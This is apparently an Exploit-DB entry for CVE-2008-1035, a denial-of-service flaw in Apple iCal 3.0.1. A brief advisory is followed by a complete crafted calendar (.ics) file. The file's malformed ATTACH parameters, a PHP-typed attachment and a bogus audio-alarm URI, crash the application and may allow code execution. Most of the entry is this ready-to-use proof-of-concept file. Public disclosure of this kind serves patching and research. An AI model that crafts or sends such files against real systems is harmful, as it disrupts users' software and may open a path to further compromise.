Apple iCal 3.0.1 - 'ATTACH' Parameter Denial Of Service Vulnerability

2008-04-21T00:00:00
ID EDB-ID:31620
Type exploitdb
Reporter Core Security Technologies
Modified 2008-04-21T00:00:00

Description

Apple iCal 3.0.1 'ATTACH' Parameter Denial Of Service Vulnerability. CVE-2008-1035. Dos exploit for osx platform

                                        
                                            source: http://www.securityfocus.com/bid/28633/info

Apple iCal is prone to a denial-of-service vulnerability because it fails to adequately sanitize user-supplied input data.

Successful exploits will crash the application. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

iCal 3.0.1 is vulnerable; other versions may also be affected.

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BEGIN:VCALENDAR
X-WR-TIMEZONE:America/Buenos_Aires
PRODID:-//Apple Inc.//iCal 3.0//EN
CALSCALE:GREGORIAN
X-WR-CALNAME:evento falso
VERSION:2.0
X-WR-RELCALID:71CE8EAD-380B-4EA3-A123-60F9B2A03990
METHOD:PUBLISH
BEGIN:VTIMEZONE
TZID:America/Buenos_Aires
BEGIN:DAYLIGHT
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:19991003T000000
RDATE:19991003T000000
TZNAME:ARST
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:20000303T000000
RDATE:20000303T000000
RDATE:20001231T210000
TZNAME:ART
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
SEQUENCE:11
DTSTART;TZID=America/Buenos_Aires:20071225T000000
DTSTAMP:20071213T143420Z
SUMMARY:evento falso
DTEND;TZID=America/Buenos_Aires:20071225T010000
LOCATION:donde se hace
RRULE:FREQ=YEARLY;INTERVAL=1;COUNT=1
TRANSP:OPAQUE
UID:651D31BE-455E-45ED-99C6-55B9F03A3FA9
URL;VALUE=URI:http://pepe.com:443/pepe
ATTACH;FMTTYPE=text/php;X-APPLE-CACHED=1:ical://attachments/4E3646DE-ED2
0-449C-88E7-744E62BC8C12/651D31BE-455E-45ED-99C6-55B9F03A3FA9/popote.php
CREATED:20071213T142720Z
CREATED:20071213T124215Z
BEGIN:VALARM
X-WR-ALARMUID:958B6A5B-91E6-4F80-829F-89AD5B17AF49
ACTION:DISPLAY
DESCRIPTION:Event reminder
TRIGGER:-PT15H
END:VALARM
BEGIN:VALARM
X-WR-ALARMUID:F54A0E05-57B8-4562-8E77-056B19305CD0
ACTION:AUDIO
TRIGGER:-PT15M
ATTACH;VALUE=URI:S=osumi
END:VALARM
END:VEVENT
END:VCALENDAR
  
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